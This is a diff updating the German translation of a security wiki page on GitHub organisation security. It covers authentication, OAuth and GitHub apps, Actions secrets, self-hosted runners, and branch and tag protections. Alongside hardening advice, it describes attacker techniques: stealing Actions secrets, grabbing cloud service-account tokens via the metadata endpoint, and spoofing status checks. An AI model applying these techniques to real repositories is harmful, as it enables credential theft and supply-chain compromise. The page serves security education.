-In den Informationen zu jedem Benutzer können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**.
+In den Informationen jedes Benutzers kannst du die **Teams, denen der Benutzer angehört**, und die **Repos, auf die der Benutzer Zugriff hat**, sehen.
 
-## Github-Authentifizierung
+## Github Authentication
 
-Github bietet verschiedene Möglichkeiten, sich bei Ihrem Konto zu authentifizieren und Aktionen in Ihrem Namen auszuführen.
+Github bietet verschiedene Möglichkeiten, sich bei deinem Konto zu authentifizieren und Aktionen in deinem Auftrag auszuführen.
 
 ### Webzugang
 
-Durch den Zugriff auf **github.com** können Sie sich mit Ihrem **Benutzernamen und Passwort** (und möglicherweise einer **2FA**) anmelden.
+Beim Zugriff auf **github.com** kannst du dich mit deinem **Benutzernamen und Passwort** (und ggf. einer **2FA**) anmelden.
 
-### **SSH-Schlüssel**
+### **SSH Keys**
 
-Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen**. [https://github.com/settings/keys](https://github.com/settings/keys)
+Du kannst dein Konto mit einem oder mehreren Public Keys konfigurieren, die es dem zugehörigen **Private Key ermöglichen, Aktionen in deinem Auftrag auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **GPG-Schlüssel**
+#### **GPG Keys**
 
-Sie **können den Benutzer mit diesen Schlüsseln nicht impersonifizieren**, aber wenn Sie ihn nicht verwenden, könnte es möglich sein, dass Sie **entdeckt werden, weil Sie Commits ohne eine Signatur senden**. Erfahren Sie mehr über [vigilante Modus hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Du **kannst den Benutzer mit diesen Keys nicht imitieren**, aber wenn du ihn nicht verwendest, könnte es möglich sein, dass du **entdeckt wirst, weil Commits ohne Signatur gesendet wurden**. Erfahre mehr über den [vigilant mode hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Persönliche Zugriffstoken**
+### **Personal Access Tokens**
 
-Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff auf Ihr Konto zu gewähren**. Bei der Erstellung eines persönlichen Zugriffstokens muss der **Benutzer** die **Berechtigungen** angeben, die das **Token** haben wird. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Du kannst Personal Access Tokens generieren, um **einer Anwendung Zugriff auf dein Konto zu geben**. Beim Erstellen eines Personal Access Tokens muss der **Benutzer** die **Berechtigungen** festlegen, die das **Token** erhalten soll. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Oauth-Anwendungen
+### Oauth Applications
 
-Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Anmeldung mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden.
+Oauth-Anwendungen können dich um Berechtigungen bitten, **auf Teile deiner github-Informationen zuzugreifen oder dich zu impersonifizieren**, um bestimmte Aktionen auszuführen. Ein häufiges Beispiel dafür ist der **Login with GitHub-Button**, den du auf manchen Plattformen findest.
 
-- Sie können Ihre eigenen **Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) **erstellen**.
-- Sie können alle **Oauth-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/applications](https://github.com/settings/applications).
-- Sie können die **Scopes sehen, die Oauth-Apps anfordern können** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
-- Sie können den Zugriff von Drittanwendungen in einer **Organisation** in _https://github.com/organizations/\/settings/oauth_application_policy_ sehen.
+- Du kannst eigene **Oauth applications** erstellen unter [https://github.com/settings/developers](https://github.com/settings/developers)
+- Du kannst alle **Oauth applications sehen, die Zugriff auf dein Konto haben** unter [https://github.com/settings/applications](https://github.com/settings/applications)
+- Du kannst die **Scopes sehen, die Oauth Apps anfordern können** unter [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Du kannst Third-Party-Zugriffe von Anwendungen in einer **Organisation** unter _https://github.com/organizations/\/settings/oauth_application_policy_ ansehen
 
 Einige **Sicherheitsempfehlungen**:
 
-- Eine **OAuth-App** sollte immer **als der authentifizierte GitHub-Benutzer über das gesamte GitHub hinweg agieren** (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben.
-- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem eine "Anmeldung mit GitHub" für den authentifizierten Benutzer aktiviert wird.
-- **Bauen Sie keine** **OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf _allen_**\*\* Repositories des authentifizierten Benutzers zugreifen\*\*.
-- **Bauen Sie keine** OAuth-App, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat.
+- Eine **OAuth App** sollte immer **als der authentifizierte GitHub-Benutzer über ganz GitHub handeln** (z. B. beim Bereitstellen von Benutzerbenachrichtigungen) und nur Zugriff auf die angegebenen Scopes haben.
+- Eine OAuth App kann als Identitätsprovider verwendet werden, indem sie ein "Login with GitHub" für den authentifizierten Benutzer ermöglicht.
+- **Baue keine OAuth App**, wenn deine Anwendung **nur für ein einzelnes Repository** handeln soll. Mit dem `repo` OAuth-Scope können OAuth Apps **auf _alle_ Repositories des authentifizierten Benutzers** zugreifen.
+- **Baue keine OAuth App**, um als Anwendung für dein **Team oder Unternehmen** zu agieren. OAuth Apps authentifizieren als **einzelner Benutzer**. Wenn also eine Person eine OAuth App für das Unternehmen erstellt und das Unternehmen später verlässt, hat niemand sonst Zugriff darauf.
 - **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Github-Anwendungen
+### Github Applications
 
-Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um spezifische Aktionen über spezifische Ressourcen auszuführen. In Github-Apps müssen Sie die Repositories angeben, auf die die App Zugriff haben wird.
+Github-Anwendungen können Berechtigungen anfragen, um **auf deine github-Informationen zuzugreifen oder dich zu impersonifizieren**, um spezifische Aktionen auf bestimmten Ressourcen auszuführen. Bei Github Apps musst du die Repositories angeben, auf die die App Zugriff haben wird.
 
-- Um eine GitHub-App zu installieren, müssen Sie **Organisationsinhaber oder über Administratorberechtigungen** in einem Repository verfügen.
-- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**.
-- Sie können Ihre eigene Github-Anwendung in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen.
-- Sie können alle **Github-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
-- Dies sind die **API-Endpunkte für Github-Anwendungen** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Je nach den Berechtigungen der App kann sie auf einige von ihnen zugreifen.
-- Sie können installierte Apps in einer **Organisation** in _https://github.com/organizations/\/settings/installations_ sehen.
+- Um eine GitHub App zu installieren, musst du **Organization owner sein oder Admin-Rechte** in einem Repository haben.
+- Die GitHub App sollte **mit einem persönlichen Konto oder einer Organisation verbunden** sein.
+- Du kannst deine eigene Github application erstellen unter [https://github.com/settings/apps](https://github.com/settings/apps)
+- Du kannst alle **Github applications sehen, die Zugriff auf dein Konto haben** unter [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Dies sind die **API-Endpunkte für Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Abhängig von den Berechtigungen der App kann sie einige dieser Endpunkte aufrufen.
+- Du kannst installierte Apps in einer **Organisation** unter _https://github.com/organizations/\/settings/installations_ sehen.
 
 Einige Sicherheitsempfehlungen:
 
-- Eine GitHub-App sollte **unabhängig von einem Benutzer handeln** (es sei denn, die App verwendet ein [User-to-Server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um die Sicherheit von User-to-Server-Zugriffstoken zu erhöhen, können Sie Zugriffstoken verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen finden Sie unter "[Aktualisieren von User-to-Server-Zugriffstoken](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Stellen Sie sicher, dass die GitHub-App mit **spezifischen Repositories** integriert ist.
-- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**.
-- Erwarten Sie nicht, dass die GitHub-App alles weiß und tut, was ein Benutzer kann.
-- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer anzumelden _und_ andere Dinge zu tun.
-- Bauen Sie keine GitHub-App, wenn Sie _nur_ als GitHub-Benutzer agieren und alles tun möchten, was dieser Benutzer tun kann.
-- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen der Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- Eine GitHub App sollte **handeln können, ohne von einem Benutzer abhängig zu sein** (es sei denn, die App verwendet ein [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)-Token). Um user-to-server-Zugriffstokens sicherer zu machen, kannst du Zugriffstokens verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen siehe "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Stelle sicher, dass die GitHub App mit **spezifischen Repositories** integriert ist.
+- Die GitHub App sollte **mit einem persönlichen Konto oder einer Organisation verbunden** sein.
+- Erwarte nicht, dass die GitHub App alles kennt und tut, was ein Benutzer kann.
+- **Verwende keine GitHub App**, wenn du nur einen "Login with GitHub"-Dienst brauchst. Eine GitHub App kann jedoch einen [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer anzumelden _und_ andere Dinge zu tun.
+- Baue keine GitHub App, wenn du _nur_ als ein GitHub-Benutzer agieren und alles tun möchtest, was dieser Benutzer kann.
+- Wenn du deine App mit Github Actions verwendest und Workflow-Dateien ändern möchtest, musst du im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss Admin- oder Schreibberechtigung für das Repository haben, das die Workflow-Datei enthält. Weitere Informationen siehe "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Dies **ist kein Weg, um sich bei Github zu authentifizieren**, aber eine **bösartige** Github Action könnte **unbefugten Zugriff auf Github** erhalten und **je nach** den **Berechtigungen**, die der Action gegeben wurden, könnten mehrere **verschiedene Angriffe** durchgeführt werden. Siehe unten für weitere Informationen.
+Dies **ist kein Authentifizierungsweg in github**, aber eine **malicious** Github Action könnte **unautorisierte Zugriffe auf github** erhalten und je nach den der Action gewährten **Privilegien** könnten verschiedene **Angriffe** möglich sein. Siehe unten für mehr Informationen.
 
-## Git-Aktionen
+## Git Actions
 
-Git-Aktionen ermöglichen es, die **Ausführung von Code zu automatisieren, wenn ein Ereignis eintritt**. In der Regel ist der ausgeführte Code **irgendwie mit dem Code des Repositories** verbunden (vielleicht einen Docker-Container bauen oder überprüfen, ob der PR keine Geheimnisse enthält).
+Git Actions ermöglichen die Automatisierung der **Ausführung von Code, wenn ein Event eintritt**. Üblicherweise bezieht sich der ausgeführte Code **auf den Code des Repositories** (z. B. zum Erstellen eines Docker-Containers oder um zu prüfen, dass ein PR keine Secrets enthält).
 
 ### Konfiguration
 
-In _https://github.com/organizations/\/settings/actions_ ist es möglich, die **Konfiguration der Github-Aktionen** für die Organisation zu überprüfen.
+Unter _https://github.com/organizations/\/settings/actions_ ist es möglich, die **Konfiguration der github actions** für die Organisation zu überprüfen.
 
-Es ist möglich, die Verwendung von Github-Aktionen vollständig zu verbieten, **alle Github-Aktionen zuzulassen** oder nur bestimmte Aktionen zuzulassen.
+Es ist möglich, die Nutzung von github actions komplett zu verbieten, **alle github actions zu erlauben** oder nur bestimmte Actions zuzulassen.
 
-Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen** und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird.
+Es ist außerdem möglich zu konfigurieren, **wer die Ausführung einer Github Action genehmigen muss** und die **Berechtigungen des GITHUB_TOKEN**, wenn eine Github Action ausgeführt wird.
 
-### Git-Geheimnisse
+### Git Secrets
 
-Github-Aktionen benötigen normalerweise eine Art von Geheimnissen, um mit Github oder Drittanbieteranwendungen zu interagieren. Um **zu vermeiden, sie im Klartext** im Repo zu speichern, erlaubt Github, sie als **Geheimnisse** zu speichern.
+Github Actions benötigen normalerweise eine Art Secrets, um mit github oder Drittanbieter-Anwendungen zu interagieren. Um zu vermeiden, dass diese im Klartext im Repo stehen, erlaubt github, sie als **Secrets** zu speichern.
 
-Diese Geheimnisse können **für das Repo oder für die gesamte Organisation** konfiguriert werden. Dann, damit die **Aktion auf das Geheimnis zugreifen kann**, müssen Sie es wie folgt deklarieren:
+Diese Secrets können **für das Repo oder für die gesamte Organisation** konfiguriert werden. Damit die **Action auf das Secret zugreifen** kann, musst du es wie folgt deklarieren:
 ```yaml
 steps:
 - name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
 env: # Or as an environment variable
 super_secret:${{ secrets.SuperSecret }}
 ```
-#### Beispiel mit Bash 
+#### Beispiel: Bash verwenden 
 ```yaml
 steps:
 - shell: bash
@@ -168,82 +168,102 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Geheimnisse **können nur von den Github Actions** abgerufen werden, die sie deklariert haben.
-
-> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Benutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**.
-
-Daher ist der **einzige Weg, Github-Geheimnisse zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Geheimnisse zugreifen).
-
-### Git-Umgebungen
-
-Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Geheimnisse** speichern können. Dann können Sie der Github Action Zugriff auf die Geheimnisse innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden:
+> Secrets **können nur von den Github Actions** abgerufen werden, in denen sie deklariert sind.
+>
+> Sobald sie im repo oder in den organizations konfiguriert sind, **werden users of github nicht mehr in der Lage sein, darauf zuzugreifen**, sie können sie nur **ändern**.
+>
+> Daher ist der **einzige Weg, github secrets zu stehlen, Zugriff auf die Maschine zu bekommen, die die Github Action ausführt** (in diesem Szenario kannst du nur auf die secrets zugreifen, die für die Action deklariert sind).
+>
+> ### Git Environments
+>
+> Github erlaubt das Erstellen von **environments**, in denen du **secrets** speichern kannst. Dann kannst du der github action Zugriff auf die secrets innerhalb der environment geben, mit etwas wie:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Sie können eine Umgebung so konfigurieren, dass sie **von allen Branches** (Standard), **nur von geschützten** Branches oder **bestimmten** Branches, die darauf zugreifen können, **zugänglich** ist.\
-Es kann auch eine **Anzahl erforderlicher Überprüfungen** festgelegt werden, bevor eine **Aktion** unter Verwendung einer **Umgebung** **ausgeführt** wird, oder es kann einige **Zeit** gewartet werden, bevor die Bereitstellungen fortgesetzt werden.
+Du kannst eine Environment so konfigurieren, dass sie von **allen Branches** (Standard), **nur geschützten** Branches oder **bestimmten** Branches zugänglich ist.\
+Zusätzlich beinhalten Environment‑Schutzmaßnahmen:
+- **Required reviewers**: halten Gate‑Jobs, die auf die Environment zielen, zurück, bis sie genehmigt sind. Aktiviere **Prevent self-review**, um das Vier‑Augen‑Prinzip auch bei der Genehmigung selbst durchzusetzen.
+- **Deployment branches and tags**: beschränke, welche Branches/Tags in die Environment deployen dürfen. Wähle nach Möglichkeit spezifische Branches/Tags und stelle sicher, dass diese Branches geschützt sind. Hinweis: Die Option "Protected branches only" gilt für klassische Branch‑Protections und verhält sich unter Rulesets möglicherweise nicht wie erwartet.
+- **Wait timer**: verzögere Deployments für einen konfigurierbaren Zeitraum.
 
+Man kann außerdem eine **Anzahl erforderlicher Reviews** festlegen, bevor eine **Action** eine **Environment** verwendet oder eine **Wartezeit** konfigurieren, bevor Deployments zugelassen werden.
 ### Git Action Runner
 
-Eine Github-Aktion kann **innerhalb der Github-Umgebung ausgeführt** oder in einer **drittanbieter Infrastruktur**, die vom Benutzer konfiguriert wurde, ausgeführt werden.
+Eine Github Action kann entweder **innerhalb der Github‑Environment** ausgeführt werden oder in einer **externen Infrastruktur** laufen, die vom Nutzer konfiguriert wurde.
 
-Mehrere Organisationen erlauben es, Github-Aktionen in einer **drittanbieter Infrastruktur** auszuführen, da dies in der Regel **günstiger** ist.
+Einige Organisationen erlauben es, Github Actions in einer **third party infrastructure** auszuführen, da dies oft **günstiger** ist.
 
-Sie können die **selbst gehosteten Runner** einer Organisation unter _https://github.com/organizations/\/settings/actions/runners_ auflisten.
+Du kannst die self-hosted runners einer Organisation unter _https://github.com/organizations/\/settings/actions/runners_ auflisten.
 
-Der Weg, um herauszufinden, welche **Github-Aktionen in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach `runs-on: self-hosted` in der Github-Aktionskonfigurations-yaml zu suchen.
+Um herauszufinden, welche **Github Actions in non-github infrastructure** ausgeführt werden, suche in den Github Action‑Konfigurations‑YAMLs nach `runs-on: self-hosted`.
 
-Es ist **nicht möglich, eine Github-Aktion einer Organisation innerhalb einer selbst gehosteten Box** einer anderen Organisation auszuführen, da **ein einzigartiges Token für den Runner generiert wird**, wenn er konfiguriert wird, um zu wissen, zu welcher Organisation der Runner gehört.
+Es ist **nicht möglich**, eine Github Action einer Organisation innerhalb einer self-hosted Box einer anderen Organisation laufen zu lassen, weil **ein eindeutiger Token für den Runner** generiert wird, wenn dieser konfiguriert wird, damit er weiß, zu welcher Organisation der Runner gehört.
 
-Wenn der benutzerdefinierte **Github Runner auf einer Maschine innerhalb von AWS oder GCP** konfiguriert ist, könnte die Aktion **Zugriff auf den Metadaten-Endpunkt haben** und **das Token des Dienstkontos stehlen**, mit dem die Maschine betrieben wird.
+Wenn der eigene **Github Runner auf einer Maschine in AWS oder GCP** konfiguriert ist, könnte die Action **Zugriff auf den metadata endpoint** haben und **das Token des service account** stehlen, unter dem die Maschine läuft.
 
-### Git Action Kompromittierung
+### Git Action Compromise
 
-Wenn alle Aktionen (oder eine bösartige Aktion) erlaubt sind, könnte ein Benutzer eine **Github-Aktion** verwenden, die **bösartig** ist und den **Container** kompromittiert, in dem sie ausgeführt wird.
+Wenn alle Actions (oder eine bösartige Action) erlaubt sind, könnte ein Benutzer eine **bösartige Github Action** nutzen, die den **Container**, in dem sie ausgeführt wird, kompromittiert.
 
 > [!CAUTION]
-> Eine **bösartige Github-Aktion** könnte vom Angreifer **missbraucht** werden, um:
+> Ein **bösartiger Github Action**‑Lauf könnte vom Angreifer dazu missbraucht werden:
 >
-> - **Alle Geheimnisse zu stehlen**, auf die die Aktion Zugriff hat
-> - **Laterale Bewegungen** durchzuführen, wenn die Aktion in einer **drittanbieter Infrastruktur** ausgeführt wird, wo das SA-Token, das zum Ausführen der Maschine verwendet wird, abgerufen werden kann (wahrscheinlich über den Metadatenservice)
-> - **Das Token** zu **missbrauchen**, das vom **Workflow** verwendet wird, um **den Code des Repos zu stehlen**, in dem die Aktion ausgeführt wird, oder **sogar zu modifizieren**.
+> - **Alle Secrets stehlen**, auf die die Action Zugriff hat
+> - **Lateral movement** betreiben, wenn die Action in einer **third party infrastructure** ausgeführt wird und das SA token der Maschine über den metadata service zugänglich ist
+> - **Das Token missbrauchen**, das vom **workflow** verwendet wird, um **den Code des Repos** zu stehlen, in dem die Action läuft, oder ihn sogar **zu ändern**.
 
-## Branch-Schutz
+## Branch Protections
 
-Branch-Schutzmaßnahmen sind so konzipiert, dass sie **nicht die vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in einem bestimmten Branch Code schreiben kann**.
+Branch‑Protections sind so konzipiert, dass sie den Nutzern **nicht die vollständige Kontrolle über ein Repository** geben. Ziel ist es, **mehrere Schutzmechanismen zu implementieren, bevor Code in einen Branch geschrieben werden kann**.
 
-Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://github.com/\/\/settings/branches_.
+Die **Branch‑Protections eines Repos** findest du unter _https://github.com/\/\/settings/branches_.
 
 > [!NOTE]
-> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.
+> Es ist **nicht möglich, eine Branch‑Protection auf Organisationsebene** zu setzen. Daher müssen sie in jedem Repo separat definiert werden.
 
-Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden:
+Verschiedene Schutzmechanismen können auf einen Branch (z. B. master) angewendet werden:
 
-- Sie können **eine PR vor dem Mergen verlangen** (so dass Sie Code nicht direkt über den Branch mergen können). Wenn dies ausgewählt ist, können verschiedene andere Schutzmaßnahmen in Kraft treten:
-- **Eine Anzahl von Genehmigungen verlangen**. Es ist sehr üblich, 1 oder 2 weitere Personen zu verlangen, die Ihre PR genehmigen, damit ein einzelner Benutzer nicht in der Lage ist, Code direkt zu mergen.
-- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**. Andernfalls könnte ein Benutzer legitimen Code genehmigen und dann bösartigen Code hinzufügen und mergen.
-- **Überprüfungen von Code-Eigentümern verlangen**. Mindestens 1 Code-Eigentümer des Repos muss die PR genehmigen (so dass "zufällige" Benutzer dies nicht genehmigen können).
-- **Einschränken, wer Pull-Request-Überprüfungen zurückweisen kann.** Sie können Personen oder Teams angeben, die berechtigt sind, Pull-Request-Überprüfungen zurückzuweisen.
-- **Bestimmten Akteuren erlauben, die Anforderungen an Pull-Requests zu umgehen**. Diese Benutzer können vorherige Einschränkungen umgehen.
-- **Statusprüfungen verlangen, die vor dem Mergen bestehen müssen.** Einige Prüfungen müssen bestehen, bevor der Commit gemergt werden kann (wie eine Github-Aktion, die überprüft, dass es kein Klartextgeheimnis gibt).
-- **Gespräche vor dem Mergen lösen.** Alle Kommentare zum Code müssen gelöst werden, bevor die PR gemergt werden kann.
-- **Signierte Commits verlangen**. Die Commits müssen signiert sein.
-- **Lineare Historie verlangen.** Verhindern, dass Merge-Commits in übereinstimmende Branches gepusht werden.
-- **Administratoren einbeziehen**. Wenn dies nicht festgelegt ist, können Administratoren die Einschränkungen umgehen.
-- **Einschränken, wer in übereinstimmende Branches pushen kann**. Einschränken, wer einen PR senden kann.
+- Du kannst **einen PR vor dem Merge verlangen** (d.h. du kannst nicht direkt in den Branch mergen). Wenn dies aktiviert ist, können weitere Schutzmechanismen gelten:
+- **Eine Anzahl von Approvals verlangen.** Häufig verlangt man 1 oder 2 weitere Personen zur Genehmigung des PR, damit ein einzelner Nutzer nicht direkt mergen kann.
+- **Approvals beim Push neuer Commits verwerfen.** Andernfalls könnte ein Nutzer legitimen Code genehmigen, danach schädlichen Code hinzufügen und mergen.
+- **Approval für den neuesten reviewbaren Push verlangen.** Stellt sicher, dass neue Commits nach einer Genehmigung (einschließlich Pushes durch andere Kollaborateure) eine erneute Review auslösen, sodass ein Angreifer keine nachträglichen Änderungen nach der Genehmigung pushen und mergen kann.
+- **Reviews von Code Owners verlangen.** Mindestens ein Code Owner des Repos muss den PR genehmigen (sodass „zufällige“ Nutzer nicht genehmigen können).
+- **Einschränken, wer Pull‑Request‑Reviews verwerfen darf.** Du kannst Personen oder Teams angeben, die Pull‑Request‑Reviews verwerfen dürfen.
+- **Bestimmten Akteuren erlauben, Pull‑Request‑Anforderungen zu umgehen.** Diese Nutzer können die vorherigen Einschränkungen umgehen.
+- **Status Checks bestehen lassen, bevor gemerged wird.** Bestimmte Checks müssen bestanden werden, bevor der Commit gemerged werden kann (z. B. ein GitHub App‑Bericht mit SAST‑Ergebnissen). Tipp: binde erforderliche Checks an eine bestimmte GitHub App; ansonsten könnte jede App den Check über die Checks API fälschen, und viele Bots akzeptieren Skip‑Direktiven (z. B. „@bot-name skip“).
+- **Konversationen vor dem Merge aufgelöst haben.** Alle Kommentare am Code müssen vor dem Merge des PR gelöst sein.
+- **Signierte Commits verlangen.** Die Commits müssen signiert sein.
+- **Linear history verlangen.** Verhindert, dass Merge‑Commits in passende Branches gepusht werden.
+- **Administrators einschließen.** Wenn dies nicht gesetzt ist, können Admins die Einschränkungen umgehen.
+- **Einschränken, wer in passende Branches pushen darf.** Beschränkt, wer einen PR senden darf.
 
 > [!NOTE]
-> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren**.
+> Wie du siehst: Selbst wenn du Anmeldeinformationen eines Nutzers erlangst, können **Repos geschützt sein und verhindern, dass du z. B. Code direkt in master pushst**, um die CI/CD‑Pipeline zu kompromittieren.
 
-## Referenzen
+## Tag Protections
+
+Tags (z. B. latest, stable) sind standardmäßig veränderbar. Um ein Vier‑Augen‑Prinzip bei Tag‑Updates durchzusetzen, schütze Tags und verknüpfe Schutzmaßnahmen über Environments und Branches:
+
+1) Aktiviere in der Tag‑Protection‑Regel **Require deployments to succeed** und fordere ein erfolgreiches Deployment in eine geschützte Environment (z. B. prod).
+2) In der Ziel‑Environment beschränke **Deployment branches and tags** auf den Release‑Branch (z. B. main) und konfiguriere optional **Required reviewers** mit **Prevent self-review**.
+3) Auf dem Release‑Branch konfiguriere Branch‑Protections so, dass sie **Require a pull request** verlangen, setze Approvals ≥ 1 und aktiviere sowohl **Dismiss approvals when new commits are pushed** als auch **Require approval of the most recent reviewable push**.
+
+Diese Kette verhindert, dass ein einzelner Kollaborateur Releases neu taggt oder force‑published, indem er die workflow YAML bearbeitet, da Deployment‑Gates außerhalb der Workflows durchgesetzt werden.
+
+## References
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}